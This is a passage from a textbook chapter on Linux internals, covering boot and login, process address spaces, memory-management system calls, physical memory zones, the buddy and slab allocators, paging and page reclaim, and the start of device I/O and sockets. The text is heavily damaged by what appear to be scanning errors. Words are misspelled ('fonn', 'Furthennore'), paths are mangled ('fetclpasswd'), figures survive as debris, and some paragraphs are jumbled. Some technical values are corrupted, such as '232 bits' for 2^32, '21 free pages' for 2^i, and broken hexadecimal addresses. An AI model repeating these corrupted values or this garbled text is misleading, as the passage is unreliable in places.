ment against dynamic loading is security. If you are running a secure site, such as 
a bank's database or a corporate Web server, you probably want to make it impos
sible for anyone to insert random code into the kernel. The system administrator 
may keep the operating system sources and object files on a secure machine, do 
all system builds there, and ship the kernel binary to other machines over a local 
area network. If drivers cannot be loaded dynamically, this scenario prevents ma
chine operators and others who know the superuser password from injecting mali
cious or buggy code into the kerneL Furthennore, at large sites, the hardware con
figuration is known exactly at the time the system is compiled and linked. 
Changes are sufficiently rare that having to relink the system when a new hard
ware device is added is not an issue. 

Once all the hardware has been configured, the next thing to do is to carefully 
handcraft process 0, set up its stack, and run it. Process 0 continues initialization, 
doing things like programming the real-time clock, mounting the root file system, 
and creating init (process 1) and the page daemon (process 2). 

Init checks its flags to see if it is supposed to come up single user or mul
tiuser. In the former case, it forks off a process that executess the shell and waits 
for this process to exit. In the latter case, it forks off a process that executes the 
system initialization shell script, fete/re, which can do file system consistency 
checks, mount additional file systems, start daemon processes, and so on. Then it 
reads fetclttys, which lists the terminals and some of their properties. For each 
enabled terminal, it forks off a copy of itself, which does some housekeeping and 
then executess a program called getty. 

---- ------------------------
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Getty sets the line speed and other properties for each line (some of which 
may be modems, for example), and then types 

login: 

on the terminal's screen and tries to read the user's name from the keyboard. 
When someone sits down at the terminal and provides a login name, getty termi
nates by executing Ibinllogin, the login program. Login then asks for a password, 
encrypts it, and verifies it against the encrypted password stored in the password 
file, fetclpasswd. If it is correct, login replaces itself with the user's shell, which 
then waits for the first command. If it is incorrect, login just asks for another user 
name. This mechanism is shown in Fig. 1O� I I  for a system with three terminals. 

Process 0 

Process 1 Process 2 

Figure 10·11. The sequence of processes used to boot some Linux systems. 

In the figure, the getty process running for terminal 0 is still waiting for input. 
On terminal 1, a user has typed a login name, so getty has overwritten itself with 
login, which is asking for the password. A successful login has already occurred 
on terminal 2, causing the shell to type the prompt (%). The user then typed 

cp 11 12 

which has caused the shell to fork off a child process and have, that process exe
cute the ep program. The shell is blocked, waiting for the- child to terminate, at 
which time the shell will type another prompt and read from the keyboard. If the 
user at terminal 2 had typed ce instead of cp, the main program of the C compiler 
would have been started, which in turn would have forked off more processes to 
run the various compiler passes. 
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10.4 MEMORY MANAGEMENT IN LINUX 

The Linux memory model is straightforward, to make programs portable and 
to make it possible to implement Linux on machines with widely differing memo
ry management units, ranging from essentially nothing (e.g., the original IBM PC) 
to sophisticated paging hardware. This is an area of the design that has barely 
changed in decades. It has worked well so it has not needed much revision. We 
will now examine the model and how it is implemented. 

10.4.1 Fundamental Concepts 

Every Linux process has an address space logically consisting of three seg
ments: text, data, and stack. An example process' address space is depicted in 
Fig. 1O-12(a) as process A. The text segment contains the machine instructions 
that fonn the program's executable code. It is produced by the compiler and 
assembler by translating the C, C++, or other program into machine code. The 
text segment is normally read-only. Self-modifying programs went out of style in 
about 1950 because they were too difficult to understand and debug. Thus the text 
segment neither grows nor shrinks nor changes in any other way. 

Process A 

20K hck:cr 
8K f.""'='"--fo' 

o ,---=-,---

Physical memory Process B 
___ -: 1liiE��r-

Stack pointer 

24K 

8K 

- -L-"�-' OK 

Figure 10·12. (a) Process A's virtual address space. (b) Physical memory. 
(c) Process B's virtual address space. 

The data segment contains storage for all the program's variables, strings, 
arrays, and other data. It has two parts, the initialized data and the uninitialized 
data. For historical reasons, the latter is known as the BSS (historically called 
Block Started by Symbol). The initialized part of the data segment contains 
variables and compiler constants that need an initial value when the program is 
started. All the variables in the BSS part are initialized to zero after loading. 

1 
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For ex�ple, in C it is possible to declare a character string and initialize it at 
the same tl�e. When the program starts up, it expects that the string has its initial 
value. To Implement this construction, the compiler assians the strina a location . . . 
In the

. 
address space, and ensures that when the program is started up, this location 

contams the proper string. From the operating system's point of view, initialized 
data are not all th�t .different from program text-both contain bit patterns pro
duced by th

.
e compIler that must be loaded into memory when the program starts. 

The eXIstence of uninitialized data is actually just an optimization. When a 
glob�l v�r��ble is no� explicitly initialized, the semantics of the C language say 
that Its wIttal value IS O. In practice, most global variables are not initialized 
explicitly, and are thus O. This could be implemented by simply having a section 
�f �h� executable binary file exactly equal to the number of bytes of data, and ini
ttahzmg all of them, including tbe ones that have defaulted to O. 

However, to save space in the executable file, this is not done. Instead, the file 
co��i�s

. 
all the. explicitly initialized variables following the program text. The 

Ufllflltlahzed vanables are all gathered together after the initialized ones, so all the 
compiler has to do is put a word in the header telling how many bytes to allocate. 

To ma�e this point more explicit, consider Fig. IO-12(a) again. Here the pro
gram text 18 8 KB and the initialized data is also 8 KB. The uninitialized data 
(BSS) is 4 KB. The executable file is only 16  KB (text + initialized data), plus a 
short header that tells the system to allocate another 4 KB after the initial1zed data 
and zero it before starting the program. This trick avoids storing 4 KB of zeros in 
the executable file. 

In order to avoid allocating a physical page frame full of zeros, durina ini
tialization Linux allocates a static zero page, a write-protected page full of ;eros. 
When a process is loaded, its uninitialized data region is set to point to the zero 
pa�e. Whenever a process actually attempts to write in this area, the copy-on
wnte m�chanism kicks in, and an actual page frame is allocated to the process. 

UnlIke the text segment, which cannot change, the data segment can change. 
Programs modify their variables all the time. Furthermore, many programs need 
to allocate space dynamically, dufing execution. Linux handles this by permitting 
the data segment to grow and shrink as memory is allocated and deallocated. A 
system call, brk, is available to allow a program to set the size of its data segment. 
Thus to allocate more memory, a program can increase the size of its data seg
ment. The C library procedure malloc, commonly used to allocate memory, makes 
heavy use of this system call. The process address space descriptor contains infor
mation on the range of dynamically allocated memory areas in the process, typi
cally called heap. 

The third segment is the stack segment. On most machihes, it starts at or near 
the top of the virtual address space and grows down toward O. For instance, on 
32bit x86 platforms, the stack starts at address OxCOOOOOOO, which is the 3-GB 
virtual address limit visible to the process in user mode. If the stack grows below 
the bottom of the stack segment, a hardware fault occurs and the operating system 
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lowers the bottom of the stack segment by one page. Programs do not explicitly 
manage the size of the stack segment. 

When a program starts up, its stack is not empty. Instead, it contains all the 
environment (shell) variables as well as the command line typed to the shell to 
invoke it In this way a program can discover its arguments. For example, when 
the command 

cp src dest 

is typed, the cp program is run with the string "ep src dest" on the stack, so it can 
find out the names of the source and destination files. The string is represented as 
an array of pointers to the symbols in the string, to make parsing easier. 

When two users are running the same program, such as the editor, it would be 
possible, but inefficient, to keep two copies of the editor's program text in memo
ry at once. Instead, most Linux systems support shared text segments. In 
Fig. 1O�12(a) and Fig. 1O-12(c) we see two processes, A and E, that have the same 
text segment. In Fig. lO-12(b) we see a possible layout of physical memory, in 
which both processes share the same piece of text. The mapping is done by the 
virtual memory hardware. 

Data and stack segments are never shared except after a fork, and then only 
those pages that are not modified. If either one needs to grow and there is no 
room adjacent to it to grow into, there is 110 problem since adjacent virtual pages 
do not have to map onto adjacent physical pages. 

On some computers, the hardware supports separate address spaces for in
structions and data. When this feature is available, Linux can use it. For example, 
on a computer with 32-bit addresses, if this feature is available, there would be 
232 bits of address space for instructions and an additional 232 bits of address 
space for the data and stack segments to share. A jump to 0 goes to address 0 of 
text space, whereas a move from 0 uses address 0 in data space. This feature dou
bles the address space available. 

In addition to dynamically allocating more memory, processes in Linux can 
access file data through memory-mapped files. This feature makes it possible to 
map a file onto a portion of a process' address space so that the file can be read 
and written as if it were a byte array in memory. Mapping a file in makes random 
access to it much easier than using I/O system calls such as read and write. Shar
ed libraries are accessed by mapping them in using this mechanism. In Fig. 10-13 
we see a file that is mapped into two processes at the same time, at different virtu
al addresses. 

An additional advantage of mapping a file in is that two or more processes 
can map in the same file at the same time. Writes to the file by any one of them 
are then instantly visible to the others. In fact, by mapping in a scratch file (which 
will be discarded after all the processes exit), this mechanism provides a high
bandwidth way for mUltiple processes to share memory. In the most extreme 
case, two ( or more) processes could map in a file that covers the entire address 
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Figure 10-13. Two processes can share a mapped file. 

space, giving a fonn of sharing that is partway between separate processes and 
threads. Here the address spa<:;e is shared (like threads), but each pro�ess main
tains its own open files and signals, for example, which is not like threads. In 
practice, making two address spaces exactly correspond is never done, however. 

10.4.2 Memory Management System Calls in Linux 

POSIX does not specify any system caIls for memory management. This topic 
was considered too machine dependent for standardization. Instead, the problem 
was swept under the rug by saying that programs needing dynamic memory man
agement can use the malloc library procedure (defined by the ANSI C standard). 
How malloc is implemented is thus moved outside the scope of the POSIX stan
dard. In some circles, this approach is known as passing the buck. 

In practice, most Linux systems have system calls for managing memory. The 
most common ones are listed in Fig. 10-14. Brk specifies the size of the data seg
ment by giving the address of the first byte beyond it. If the new value is greater 
than the old one, the data segment becomes larger; otherwise it shrinks. 

The mmap and munmap system calls control memory-mapped files. The first 
parameter to mmap, addr, detennines the address at which .·the file (or portion 
thereot) is mapped. It must be a multiple of the page size: If this parameter is 0, 
the system detennines the address itself and returns it in a. The second parameter, 
len, tells how many bytes to map. It, too, must be a multiple of the page size. 
The third parameter, prot, determines the protection for the mapped file. It can be 
marked readable, writable, executable, or some combination of these. The fourth 
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System call Description 

s brk(addr) Change data segment size 

a ::;:  mmap(addr, !en, prot. flags, fd, offset) Map a file in 

s unmap(addr, len) Unmap a file 

Figure 10.14. Some system calls relating to memory management. The ret�m 
code s is -I if an error has occurred; a and addr are memory addresses, len IS a 
length, prot controls protection, flags are miscellaneous bits, fd is a file descrip
tor, and offset is a ftle offset. 

parameter, flags, controls whether the file is private or shru:ab1e, and whet�er addr 
is a requirement or merely a hint. The fifth parameter, fd, IS the file descnptor for 
the file to be mapped. Only open files can be mapped, so to map a file i�, it mu�t 
first be opened. Finally, offset tells where in the file to begin th� mappmg. It IS 
not necessary to start the mapping at byte 0; any page boundary Win do. 

. The other call, unmap, removes a mapped file. If only a portion of the file 1S 
unmapped, the rest remains mapped. 
10.4.3 Implementation of Memory Management in Linux 

Each Linux process on a 32-bit machine typically gets 3 GB of virtual address 
space for itself, with the remaining 1 GB reserved for .its �age tables and other kernel data. The kernel's 1 OB is not visible when runmng ill user mode, but be
comes accessible when the process traps into the kernel. The kernel memory typi
cally resides in low physical memory but it is mapped in the top 1 OB of each 
process virtual address space, between addresses OxCOOOO?OO and OxF�FFFFF 
(3-4 OB). The address space is created when the process IS created and IS over
written on an exec system calL 

In order to allow mUltiple processes to share the underlying physical memory, 
Linux monitors the use of the physical memory, allocates more memory as needed 
by user processes or kernel components, dynamically maps portions �f the ph.ysi
cal memory into the address space of different processes, and dyna:mcally ?nngs 
in and out of memory program executables, files and other state mfonnatIon as 
necessary to utilize the platform resources efficiently and to ensure.execution progress. The remainder of this chapter describes the implementatlon. of vanoU

s 
mechanisms in the Linux kernel which are responsible for these operatIOns. 

Physical Memory Management 

Due to idiosyncratic hardware limitations on many systems, not all physical 
memory can be treated identically, especially with respect to I/O and virtual 
memory. Linux distinguishes between three memory zones: 

1 
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1 . ZONEj>MA - pages that can be used for DMA operations. 
2. ZONE�ORl"'-AL - normal. regularly mapped pages. 
3. ZONEJIIGHMEM - pages with high-memory addresses, which 

are not pennanently mapped. 
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The exact boundaries and layout of the memory zones is architecture dependent. 
On x86 hardware, certain devices can perfonn DMA operations only in the first 
16 MB of address space, hence ZONE_DMA is in the range 0-16 MB. In addition, 
the hardware cannot directly map memory addresses above 896 MB, hence 
ZONE_HIGHMEM is anything above this mark. ZONE_NORMAL is anything in 
between. Therefore, on x86 platfonns, the first 896 MB of the Linux address 
space are directly mapped, whereas the remaining 128 MB of the kernel address 
space are used to access high memory regions. The kernel maintains a zone struc
ture for each of the three zones, and can perfonn memory allocations for the three 
zones separately. 

Main memory in Linux consists of three parts. The first two parts, the kernel 
and memory map, are pinned in memory (i.e., never paged out). The rest of 
memory is divided into page frames, each of which can contain a text, data, or 
stack page, a page table page, or be on the free list. 

The kernel maintains a map of the main memory which contains all infor
mation about the use of the physical memory in the system, such as its zones, free 
page frames, and so forth. The information, illustrated in Fig. 10-15, is organized 
as follows. 

First of all, Linux maintains an array of page descriptors, of type page for 
each physical page frame in the system, called mem....map. Each page descriptor 
contains a pointer to the address space it belongs to, in case the page is not free, a 
pair of pointers which allow it to form doubly linked lists with other descriptors, 
for instance to keep together all free page frames, and few other fields. In 
Fig. 10-15 the page descriptor for page 150 contains a mapping to the address 
space the page belongs to. Pages 70, 80 and 200 are free, and they are linked to
gether. The size of the page descriptor is 32 bytes, therefore the entire mern_rnap 
can consume less than I % of the physical memory (for a page frame of 4 KB). 

Since the physical memory is divided into zones, for each zone Linux main
tains a zone descriptor. The zone descriptor contains infonnation about the mem
ory utilization within each zone, such as number of active or inactive pages, low 
and high watennarks to be used by the page replacement algorithm described later 
in this chapter, as well as many other fields. 

In addition, a zone descriptor contains an array of free areas. The i-th element 
in this array identifies the first page descriptor of the first block of 21 free pages. 
Since there may be multiple blocks of i free pages, Linux uses the pair of page 
descriptor pointers in each page element to link these together. This infonnation 
is used in the memory allocation operations supported in Linux. In Fig. 10�15 
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Figure 10·15. Linux main memory representation. 
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free_area[O], which identifies aU free areas of main memory consisting of only 
one page frame (since 2° is one), points to page 70, the first of the three free 
areas. The other free blocks of size one can be reached through the links in each 
of the page descriptors. 

Finally, since Linux is portable to NUMA architectures (where different 
memory addresses have very different access times), in order to differentiate be
tween physical memory on different nodes (and avoid allocating data structures a
croSS nodes), a node descriptor is used. Each node descriptor contains information 
about the memory usage and zones on that particular node. On UMA platforms, 
Linux describes all memory via one node descriptor. The first few bits within 
each page descriptor are used to identify the node and the zone that the page 
frame belongs to. 

In order for the paging mechanism to be efficient on 32- and 64-bit architec
ture, Linux uses a four-level paging scheme. A three-level paging scheme, origi
nally put into the system for the Alpha, was expanded after Linux 2.6.10, and as 
of version 2.6. 1 1  a four-level paging scheme is used. Each virtual address is 
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broken up into five fields, as shown in Fig. 10-16. The directory fields are used as 
an index into the appropriate page directory, of which there is a private one for 
each process. The value found is a pointer to one of the next-level directories, 
which are again indexed by a field from the virtual address. The selected entry in 
the middle page directory points to the final page table, which is indexed by the 
page field of the virtual address. The entry found here points to the page needed. 
On the Pentium, which uses two-level paging, each page's upper and middle di
rectories have only one entry, so the global directory entry effectively chooses the 
page table to use. Similarly, three-level paging can be used when needed, by set
ting the size of the upper page directory field to zero. 

Page global 
directory 

Page upper 
directory 

Page middle 
directory 

Page 

Page table 

I Global directory Upper directory Middle directory I Page I Offset I Virtual 
L-________ �-L�� ____ �-L __________ � ____ �� ____ �� __ J address 

Figure 10-16. Linux uses four-level page tables. 

Physical memory is used for various purposes. The kernel itself is fully 
hardwired; no part of it is ever paged out. The rest of memory is available for 
user pages, the paging cache, and other purposes. The page cache holds pages 
containing file blocks that have recently been read or have been read in advance 
in expectation of being used in the near future, or pages of file blocks which need 
to be written to disk, such as those which have been created from user mode proc
esses which have been swapped out to disk. It is dynamic in size and competes 
for the same pool of pages as the user processes. The paging Gache is not really a 
separate cache, but simply the set of user pages that are no" longer needed and are 
waiting around to be paged out. If a page in the paging cache is reused before it is 
evicted from memory, it  can be reclaimed quickly. 

In addition, Linux supports dynamically loaded modules, most commonly 
device drivers. These can be of arbitrary size and each one must be allocated a 
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t· s p,·ece of kernel memory. As a direct consequence of these require-
con 19uOU . . 

t L' nuX manages physical memory in sllch a way that It can acqUIre an 
men 5, 1 °th ' . k as the 
arbitrary-sized piece of memory at will. The algon m It useS IS flown 

buddy algorithm and is described below. 

Memory Allocation Mechanisms 

Linux supports several mechanisms for memory alloca�ion. The main mech

anism for allocating new page frames of physical 
.
memory IS the page allocator, 

which operates using the well-known buddy algorIth
.
m. . . 

The basic idea for managing a chunk of memory IS as follo�s. Imtlally memo

ry consists of a single contiguous piece, 64 pag�s i� �e sImple example of 

Fig. 1O-17(a). When a request for memory comes In, 
.
It IS first

. 
r?und�d up to a 

f 2 say eight pages. The full memory chunk IS then dIvided m half, as 

��::� �n (b). Since each of these pieces is still too large, the lower piece 
.
is divi�

ed in half again (c) and again (d). Now we have a chunk of the correct SIze, so It 

is allocated to the caller, as shown shaded in (d). 

32 32 32 32 32 32 32 32 

64 
16 16 

32 8 
16 - '� 

(a) (b) (c) (d) (e) (fj (g) (h) (0 
Figure 10-17. Operation of the buddy algorithm. 

Now suppose that a second requ�st co�es in for eight p�ges. This can be 

satisfied directly now (e). At this pomt a thIrd requ�st.com:s 10 for four pages. 

The smallest available chunk is split (f) and half of ,t ,s c1almed (g). Next, the 

second of the 8-page chunks is released (h). Fmally, the other eIght-page chunk IS 

1 d Since the two adJ'acentjust-freed eight-page chunks came from the same 
re ease . k (.) 
16-page chunk, they are merged to get the 16-page c�unk ba� I .  . . 

Linux manages memory using the buddy alg�nthm, wIth the .additIOnal fea

ture of having an array in which the first element 
.
IS the head of a I�st of bl�cks of 

size 1 unit, the second element is the head of a lIst of blo.
cks of SIze 2 umts, the 

next element points to the 4-unit blocks, and so on. In thIS way, any power-of-2 

block can be found quickly. . 
This algorithm leads to considerable internal fragmentatIon because if you 

want a 6S-page chunk, you have to ask for and get a l28-page chunk. 

1 
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To alleviate this problem, Linux has a second memory allocation, the slab 
allocator, which takes chunks using the buddy algorithm but then carves slabs 
(smaller units) from them and manages the smaller units separately. 

Since the kernel frequently creates and destroys objects of certain type (e.g., 
task....struct), it relies on so-called object caches. These caches consist of pointers 
to one or more slab which can store a number of objects of the same type. Each of 
the slabs may be full, partially full, or empty. 

For instance, when the kernel needs to allocate a new process descriptor, that 
is, a new task-struct it looks in the object cache for task structures, and first tries 
to find a partially full slab and allocate a new task.Jtruct object there. If no such 
slab is available, it looks through the list of empty slabs. Finally, if necessary, it 
will allocate a new slab, place the new task structure there, and link this slab with 
the task structure object cache.· The kmalloc kernel service, which allocates physi
cally contiguous memory regions in the kernel address space, is in fact built on 
top of the slab and object cache interface described here. 

A third memory allocator, vmalloc, is also available and is used when the re
quested memory need only be contiguous in virtual space, but not in physical 
memory. In practice, this is true for most of the requested memory. One ex
ception consists of devices, which live on the other side of the memory bus and 
the memory management unit, and therefore do not understand virtual addresses. 
However, the use of vma!loc results in some performance degradation, and is used 
primarily for allocating large amounts of contiguous virtual address space, such as 
for dynamically inserting kernel modules. All these memory aIlocators are derived 
from those in System V. 

Virtual Address Space Representation 

The virtual address space is divided into homogeneous, contiguous, page
aligned areas or regions. That is to say, each area consists of a run of consecutive 
pages with the same protection apd paging properties. The text segment and map
ped files are examples of areas (see Fig. 10-15). There can be holes in the virtual 
address space between the areas. Any memory reference to a hole results in a fatal 
page fault. The page size is fixed, for example, 4 KB for the Pentium and 8 KB 
for the Alpha. Starting with the Pentium, which supports page frames of 4 MB, 
Linux can support jumbo page frames of 4 ME each. In addition, in a PAE (Phy
sical Address Extension) mode, which is used on certain 32-bit architectures to 
increase the process address space beyond -4 GB, page sizes of 2 MB are sup-
ported. . 

Each area is described in the kernel by a vm_area_struct entry. All the 
vm_area_structs for a process are linked together in a list sorted on virtual ad
dress so that all the pages can be found. When the list gets too long (more than 32 
entries), a tree is created to speed up searching it. The vnLarea_strnct entry lists 
the area's properties. These properties include the protection mode (e.g., read only 
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or read/write), whether it is pinned in memory (not pageable), and which direction 
it grows in (up for data segments, down for stacks). 

The vm_area_struct also records whether the area is private to the process or 
shared with one or more other processes. After a fork, Linux makes a copy of the 
area list for the child process, but sets up the parent and child to point to the same 
page tables. The areas are marked as read/write, but the pages afe marked as read 
only. If either process tries to write on a page, a protection fault occurs and the 
kernel sees that the area is logically writable but the page is not, so it gives the 
process a copy of the page and marks it read/write. This mechanism is how copy 
on write is implemented. 

The vln_area_struct also records whether the area has backing storage on 
disk assigned, and if so, where. Text segments use the executable binary as back
ing storage and memory-mapped files use the disk file as backing storage. Other 
areas, such as the stack, do not have backing storage assigned until they have to 
be paged out. 

A top-level memory descriptor, mm.Jtruct, gathers information about all vir
tual memory areas belonging to an address space, information about the different 
segments (text, data, stack), about users sharing this address space, and so on. All 
vm_area-.struct elements of an address space can be accessed through their mem
ory descriptor in two ways. First, they are organized in linked lists ordered by vir
tual memory addresses. This way is useful when all virtual memory areas need to 
be accessed, or when the kernel is searching to allocated a virtual memory region 
of a specific size. In addition, the vm_area.Jtruct entries are organized in a binary 
"red-black" tree, a data structure optimized for fast lookups. This method is used 
when a specific virtual memory needs to be accessed. By enabling access to ele
ments of the process address space via these two methods, Linux uses more state 
per process, but allows different kernel operations to use the access method which 
is more efficient for the task at hand. 

10.4.4 Paging in Linux 

Early UNIX systems relied on a swapper process to move entire processes 
between memory and disk whenever not all active processes could fit in the physi
cal memory. Linux, like other modern UNIX versions, no longer moves entire 
processes. The main memory management unit is a page, and almost all memory 
management components operate on a page granularity. The swapping subsystem 
also operates on page granularity and is tightly coupled with the Page Frame 
Reclaiming Algorithm, described later in this section. 

The basic idea behind paging in Linux is simple: a process need not be en
tirely in memory in order to run. All that is actually required is the user structure 
and the page tables. If these are swapped in, the process is deemed "in memory" 
and can be scheduled to run. The pages of the text, data, and stack segments are 
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brought in dynamically, one at a time, as they are referenced. If the user structure 
and page table are not in memory, the process cannot be run until the swapper 
brings them in. 

Paging is implemented partly by the kernel and partly by a new process called 
the page daemon. The page daemon is process 2 (process 0 is the idle process
traditionally called the swapper-and process 1 is init, as shown in Fig. 10-11). 
Like all daemons, the page daemon runs periodically. Once awake, it looks 
around to see if there is any work to do. If it sees that the number of pages on the 
list of free memory pages is too low, it starts freeing up more pages. 

Linux is a demand-paged system with no prepaging and no working set con
cept (although there is a system call in which a user can give a hint that a certain 
page may be needed soon, in the hope it will be there when needed). Text seg
ments and mapped files are paged to their respective files on disk. Everything else 
is paged to either the paging partition (if present) or one of the fixed-length paging 
files, called the swap area. Paging files can be added and removed dynamically 
and each one has a priority. Paging to a separate partition, accessed as a raw de
vice, is more efficient than paging to a file for several reasons. First, the mapping 
between file blocks and disk blocks is not needed (saves disk I/O reading indirect 
blocks). Second, the physical writes can be of any size, not just the file block 
size. Third, a page is always written contiguously to disk; with a paging file, it 
may or may not be. • 

Pages are not allocated on the paging device or partition until they are needed. 
Each device and file starts with a bitmap telling which pages are free. When a 
page without backing store has to be tossed out of memory. the highest-priority 
paging partition or file that still has space is chosen and a page allocated on it. 
Normally. the paging partition, if present, has higher priority than any paging file. 
The page table is updated to reflect that the page is no longer present in memory 
(e.g., the page-nat-present bit is set) and the disk location is written into the page 
table entry. 

The Page Replacement Algorithm 

Page replacement works as follows. Linux tries to keep some pages free so 
that they can be claimed as needed. Of course, this pool must be continually 
replenished. The PFRA (Page Frame Reclaiming Algorithm) algorithm is how 
this happens. 

First of all, Linux distinguishes between four different types of pages: unre
claimable, swappable, syncable, and discardable . Unreclaimable pages, which 
include reserved or locked pages, kernel mode stacks, and the like, may not be 
paged out. Swappable pages must be written back to the swap area or the paging 
disk partition before the page can be reclaimed. Syncable pages must be written 
back to disk if they have been marked as dirty. Finally, discardable pages can be 
reclaimed immediately. 
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At boot time, init starts up a page daemon, kswapd, one for each memory 
node, and configures them to run periodically. Each time ksw�pd awakens, it 
checks to see if there are enough free pages available, by companng the low and 
high watelmarks with the current memory usage for ?ach memory zone. If the�e 
is enough memory, it goes back to sleep, although It can be awakened eady If 
more pages are suddenly needed. If the available memory for �n� of the �ones 
falls below a threshold, kswapd initiates the page frame reciaurung algonthm. 
During each run, only a certain target number of pages is reclaimed, typically

. 
32. 

This number is limited to control the I/O pressure (the number of dIsk wntes, 
created during the PFRA operations). Both, the number of reclaimed pages and 
the total number of scanned pages are configurable parameters. 

Each time PFRA executes, it first tries to reclaim easy pages, then proceeds 
with the harder ones. Discardable and unreferenced pages can be reclaimed im
mediately by moving them onto the zone's freelist. Next it

. 
looks for p�ges with 

backino store which have not been referenced recently, usmg a clock-like algo
rithm. Following are shared pages that none of the userS seems to be using much. 
The challenge with shared pages is that, if a page entry is reclaimed, �he page 
tables of all address spaces originally sharing that page must be updated l� a syn
chronous manner. Linux maintains efficient tree-like data structures to easily find 
all users of a shared page. Ordinary user pages are searched next, and if c�osen to 
be evicted, they must be scheduled for write in the swap area. The swap�mess of 
the system, that is, the ratio of pages with backing store versus pages whlch 

.
need 

to be swapped out selected during PFRA, is a tunable parameter of
.
the algont1).m. 

Finally, if a page is invalid, absent from memory, shared, locked m memory, or 
being used for DMA, it is skipped. 

. .  . . 
PFRA uses a clock-like algorithm to select old pages for eVIctIon wlthm a cer

tain category. At the core of this algorithm is a loop_which �cans through ea�h 
zone's active and inactive lists, trying to re�laim different kinds of pages, WIth 
different urgencies. The urgency value is passed as a parameter telling the proce
dure how much effort to expend to reclaim some pages. Usually, this means how 
many pages to inspect before giving up. 

. . . . 
Durino- PFRA, pages are moved between the active and mactlVe lIst III the 

manner d:scribed in Fig. 10-18. To maintain some heuristics and try to find pages 
which have not been referenced and are unlikely to be needed in the near future, 
PFRA maintains two flags per page: activelinactive, and referenced or not. These 
two flacrs encode four states, as shown in Fig. 10-18. During the first scan of a set 
of page�, PFRA first clears their reference bits. If during the second run over the 
pao-e it is determined that it has been referenced, it is advanced to another state, 
fr;m which it is less likely to be reclaimed. Otherwise, the page is moved to a 
state from where it is more likely to be evicted. 

Pages on the inactive list, which have not been referenced since the l�st time 
they were inspected, are the best candidates for eviction. They are pages with both 
PG_active and PG_rejerenced set to zero in Fig. 10-18. However, if necessary, 
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pages may be reclaimed even if they are in some of the other states. The refill 
arrows in Fig. 10-18 illustrate this fact. 

Inactive Act' we 

PG_active :0  "",_�::i�_ PG_3ctive "" 1 
PG_referenced '" 0 PG_referenced '" 0 

Refill 
; , , ; 

, , Used : Timeout , -Timeout : Used , , , , , , , 
Used 

PG_3ctive =.0 �_'2:!i�_ PG_3ctive "" 1 
PG_referenced", 1 PG_referenced", 1 

Figure 10·18. Page states considered in the page frame replacement algorithm. 

The reason PRFA maintains pages in the inactive list although they might 
have been referenced, is to prevent situations such as the following. Consider a 
process which n:akes periOdic acce�ses to �ifferent pages, with a I-hour I?eriod. A 
page accessed smce the last loop wIll have Its reference flag set. However, since it 
will not be needed again for the next hour, there is no reason not to consider it as a 
candidate for reclamation. 

One aspect of the memory management system that we have not yet men
tioned is a second daemon, pdflush, actually a set of background daemon threads. 
The pdjlush threads either (1)  wake up periodically, typically each 500 msec, to 
write back to disk very old dirty pages, or (2) are explicitly awakened by the ker
nel when available memory levels fall below a certain threshold to write back 
dirty pages from the page cache to disk. In laptop mode, in order t� conserve bat
tery life, dirty pages are written to disk whenever pdjlush threads wake up. Dirty 
pages may also be written out to disk on explicit requests for synchronization, via 
systems calls such as sync, orfsync, fdatasync. Older Linux versions used two 
separate daemons: kupdate, for old page write back, and bdjlush, for page write 
back under low memory conditions. In the 2.4 kernel this functionality was 
integrated in the pdflush threads. The choice of multiple threads was made in or
der to hide long disk latencies. 

10.5 INPUT/OUTPUT IN LINUX 

The I/O system in Linux is fairly straightforward and the same as other 
UNICES. Basically, all I/O devices are made to look like files and are accessed as 
such with the same read and write system calls that are used to access all ordinary 
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files. In some cases, device parameters must be set, and this is done using a spe
cial system call. We will study these issues in the following sections. 

10.5.1 Fundamental Concepts 

Like all computers, those running Linux have lIO devices such as disks, print
ers, and networks connected to them. Some way is needed to allow programs to 
access these devices. Although various solutions are possible, the Linux one is to 
integrate the devices into the file system as what are called special files. Each lIO 
device is assigned a path name, usually in !dev. For example, a disk might be 
Idevlhd}, a printer might be Idevilp, and the network might be !devlnet. 

These special files can be accessed the same way as any other files. No spe
cial commands or system calls are needed. The usual open, read, and write sys
tem calls will do just fine. For example, the command 

cp file Idevllp 

copies the file to printer, causing it to be printed (assuming that the user has per
mission to access /dev/lp), Programs. can open, read, and write special files the 
same way as they do regular files. In fact, cp in the above example is not even 
aware that it is printing. In this way, no special mechanism is needed for dOing 
IlO. 

Special files are divided into two categories, block and character. A block 
special file is one consisting of a sequence of numbered blocks. The key property 
of the block special file is that each block can be individually addressed and ac
cessed. In other words, a program can open a block special file and read, say, 
block 124 without first having to read blocks- O to 123. Block special files are typ
ically used for disks. 

Character special files are normally used for devices that input or output a 
character stream. Keyboards, printers, networks, mice, plotters, and most other 
I/O devices that accept or produce data for people use character special files. It is 
not possible (or even meaningful) to seek to block 124 on a mouse. 

Associated with each special file is a device driver that handles the corres
ponding device. Each driver has what is called a major device number that serves 
to identify it. If a driver supports multiple devices, say, two disks of the same 
type, each disk has a minor device number that identifies it. Together, the major 
and minor device numbers uniquely specify every I/O device. In few cases, a sin
gle driver handles two closely related devices. For example, the driver corres
ponding to !dev/tty controls both the keyboard and the screen, which is often 
thought of as a single device, the terminaL 

Although most character special files cannot be randomly accessed, they often 
need to be controlled in ways that block special files do not. Consider, for ex
ample, input typed on the keyboard and displayed on the SCreen, When a user 
makes a typing error and wants to erase the last character typed, he presses some 
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key. Some people prefer to use backspace, and others prefer DEL. Similarly, to 
erase the entire line just typed, many conventions abound. Traditionally @ was 
used, but with the spread of e-mail (which uses @ within e-mail address), many 
systems have adopted CTRL-U or some other character. Likewise, to interrupt the 
running program, some special key must be hit. Here, too, different people have 
different preferences. ·CTRL-C is a common choice, but it is not universaL 

Rather than making a choice and forcing everyone to use it, Linux allows all 
these special functions and many others to be customized by the user. A special 
system call is generally provided for setting these options. This system call also 
handles tab expansion, enabling and disabling of character echoing, conversion 
between carriage return and line feed, and similar items. The system call is not 
permitted on regular files or block special files. 

10.5.2 Networking 

Another example of I/O is networking, as pioneered by Berkeley UNIX and 
taken over by Linux more or less verbatim. The key concept in the Berkeley de
sign is the socket. Sockets are analogous to mailboxes and telephone wall sockets 
in �hat they allow users to interface to the network, just as mailboxes anow people 
to mterface to the postal system and telephone wall sockets allow them to plug in 
telephones and connect to the telephone system. The sockets' position is snown in 
Fig. 10-19. 

Sending process Receiving process 

/ \ 
� �O I '� r--SoCket 

User space 

Kernel space 

Connection 

Network 

Figure 10·19. The uses of sockets for networking. 

Sockets can be created and destroyed dynamically. Creating a socket returns a file 
descriptor, which is needed for establishing a connection reading data writino
dara, and releasing the connection, 

" 0 

Each socket supports a particular type of networking, specified when the 
socket is created. The most common types are 
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1. Reliable connection-oriented byte stream. 

2. Reliable connection-oriented packet stream. 

